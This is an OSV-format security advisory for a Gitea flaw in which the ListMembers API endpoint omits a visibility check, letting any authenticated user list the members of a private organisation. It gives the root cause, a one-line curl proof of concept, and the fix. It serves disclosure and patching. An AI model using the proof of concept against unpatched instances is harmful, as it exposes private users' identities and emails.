原始 OSV JSON{
"id": "GHSA-prr9-9mp4-5gp2",
"aliases": [
"CVE-2026-58427"
],
"details": "## Summary\nPR #38145 fixed ListPublicMembers and IsPublicMember but missed \nListMembers. Any authenticated user can enumerate ALL members \n(not just public ones) of a private organization.\n\n## Affected Versions\n<= v1.26.4 (latest) and main branch\n\n## Root Cause\nrouters/api/v1/org/member.go — ListMembers():\n\n// Missing check:\nif !organization.HasOrgOrUserVisible(ctx, \n ctx.Org.Organization.AsUser(), ctx.Doer) {\n ctx.APIErrorNotFound()\n return\n}\n\n## Proof of Concept\n\n# Setup: privateorg (private), alice = member, bob = outsider\n\n# Bob lists ALL members of private org\ncurl -s \"http://gitea/api/v1/orgs/privateorg/members\" \\\n -H \"Authorization: token BOB_TOKEN\"\n\n# Result: HTTP 200\n[{\"login\":\"alice\",\"email\":\"[email protected] \",...}]\n# Expected: HTTP 404\n\n## Note\nThis is an incomplete fix variant of PR #38145.\nThat PR fixed public_members endpoints only.\nListMembers (/orgs/{org}/members) remains unpatched.\n\n## Fix\nAdd to ListMembers():\nif !organization.HasOrgOrUserVisible(ctx, \n ctx.Org.Organization.AsUser(), ctx.Doer) {\n ctx.APIErrorNotFound()\n return\n}",
"summary": "Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
]
}
],
"package": {
"name": "gitea.dev",
"ecosystem": "Go"
}
}
],
"modified": "2026-07-21T21:49:00Z",
"severity": [],
"published": "2026-07-21T21:49:00Z",
"references": [
{
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-prr9-9mp4-5gp2",
"type": "WEB"
},
{
"url": "https://github.com/go-gitea/gitea",
"type": "PACKAGE"
},
{
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-07-21T21:49:00Z"
}
}